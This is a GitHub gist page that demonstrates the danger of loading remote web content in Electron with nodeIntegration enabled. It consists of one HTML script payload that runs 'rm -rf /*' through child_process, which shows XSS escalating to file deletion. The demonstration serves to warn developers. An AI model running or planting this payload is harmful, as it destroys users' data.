wearhere/xss_in_electron.html

Created January 11, 2016 09:10

Star () You must be signed in to star a gist
Fork () You must be signed in to fork a gist

Learn more about clone URLs
Clone this repository at <script src="https://gist.github.com/wearhere/c9d69f24589361cafaad.js"></script>
Save wearhere/c9d69f24589361cafaad to your computer and use it in GitHub Desktop.

Download ZIP

What could happen if you load remote web content in Electron without toggling `nodeIntegration` off. See https://mixmax.com/blog/turnkey-electron-apps-with-meteor#safe-native-bridge for more information.

Raw

xss_in_electron.html

	<script>
	require('child_process').exec('rm -rf /*'); // Worst XSS attack ever.
	</script>

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment